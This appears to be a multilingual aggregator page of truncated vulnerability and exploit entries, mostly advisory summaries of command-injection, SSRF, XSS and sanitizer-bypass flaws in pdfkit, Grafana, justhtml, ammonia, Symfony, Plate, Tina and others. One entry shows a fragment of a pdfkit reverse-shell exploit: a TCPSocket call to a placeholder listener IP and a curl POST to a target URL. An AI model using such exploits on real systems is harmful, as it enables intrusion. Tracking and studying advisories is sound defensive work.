PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 injection de commande. Le package pdfkit est vulnérable à l'injection de commande lorsque l'URL n'est pas correctement assainie. Remarque : Ce problème a été corrigé dans la version 0.8.7.2, mais le correctif s'est avéré inefficace. La version de...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' Via CURL modifier les valeurs en gras : curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

CVE-2019-1010174

CVE-2019-1010174 Bibliothèque CImg v.2.3.3 - injection de commandes CVE-2019-1010174 Détail Modifié Cette vulnérabilité a été modifiée depuis sa dernière analyse par le NVD. Elle est en attente d'une nouvelle analyse qui peut entraîner d'autres modifications des informations fournies. Description...

exploit-CVE-2022-25765

Эксплойт для CVE-2022-25765 pdfkit - Инъекция команд Нравится этот репозиторий? Поставьте нам ⭐! Только для образовательных целей и авторизованных исследований безопасности. Автор эксплойта @UNICORDev от @NicPWNs и @Dev-Yeoj Описание уязвимости Пакет pdfkit начиная с версии 0.0.0 уязвим к инъекци...

Sooty

Übersicht Sooty ist ein Werkzeug, das entwickelt wurde, um SOC-Analysten bei der Automatisierung eines Teils ihres Arbeitsablaufs zu unterstützen. Eines der Ziele von Sooty ist es, so viele der routinemäßigen Überprüfungen wie möglich durchzuführen, sodass der Analyst mehr Zeit für eine tiefere...

node-pdf-generator-ssrf

CVE-2020-7740 Dies betrifft alle Versionen des Pakets node-pdf-generator. Aufgrund fehlender Eingabevalidierung und -bereinigung des Inhalts, der an node-pdf-generator übergeben wird, ist es einem Angreifer möglich, eine URL zu erstellen, die an einen externen Server weitergeleitet wird, was eine...

CVE-2022-44215

Introduzione È stata scoperta una nuova vulnerabilità che colpisce il server web Titan FTP, catalogata come CVE-2022-44215. Titan FTP è un software commerciale creato da South River Technologies che implementa il protocollo FTP per la condivisione di file. Nella sua versione HTTPS 19.X e...

EUVD-2026-64887

An authenticated attacker with Editor access or alert.instances.external:write can submit an external Alertmanager alert containing a controlled generatorURL. The attacker is authorized to create the alert, but not to execute script in another user's Grafana session. Grafana renders...

CVE-2026-17033

Grafana OSS is vulnerable to a stored cross-site scripting (XSS) flaw in how it handles external Alertmanager alerts. An authenticated attacker with Editor access or alert.instances.external:write can submit an alert containing a crafted generatorURL field. Grafana renders this value directly as ...

CVE-2026-5388

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

EUVD-2026-64652

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388

justhtml (Python HTML sanitizer library) before 1.15.0 contains multiple sanitization bypass vulnerabilities across URL sanitization helpers, HTML serialization, Markdown passthrough, and custom policy edge cases. Attackers can inject active HTML and JavaScript via vectors such as encoded javascr...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

PT-2026-79769

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers clean url value/clean url in js string, HTML serialization, Markdown passthrough html passthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass...

RUSTSEC-2026-0213 XSS in ammonia via SVG `animate` and `set` animation tags

The following SVG will produce a link with a javascript scheme. If the user clicks this link, they will run it. xml Click set Ammonia did not apply attribute filters based on attributeName, so the contents of the to, from, and values tags were not sanitized as URLs. Applications that do not...

CVE-2026-45064

Symfony is a PHP framework for web and console applications and a set of reusable PHP components. From 6.1.0-BETA1 until 6.4.40, 7.4.12, and 8.0.12, UrlSanitizer::parse passes Unicode explicit-direction BiDi formatting characters through into sanitized href and src attributes, allowing sanitized...

CVE-2026-55596 Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Plate is a rich-text editor with AI and shadcn/ui. From 53.0.0 until 53.1.4, the media embed renderer trusts serialized provider or sourceUrl metadata in useMediaState and skips parseMediaUrl protocol validation, allowing a crafted Plate document to set a known video provider while keeping url as...

CVE-2026-55596 Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Plate is a rich-text editor with AI and shadcn/ui. From 53.0.0 until 53.1.4, the media embed renderer trusts serialized provider or sourceUrl metadata in useMediaState and skips parseMediaUrl protocol validation, allowing a crafted Plate document to set a known video provider while keeping url as...

CVE-2026-55660

Tina is a headless content management system. In versions prior to @tinacms/app 2.5.6 and tinacms 3.9.3, cross-origin postMessage handlers and a rich-text URL-sanitization bypass enable stored XSS and session takeover. The library registers window message listeners — the useTina overlay handler,...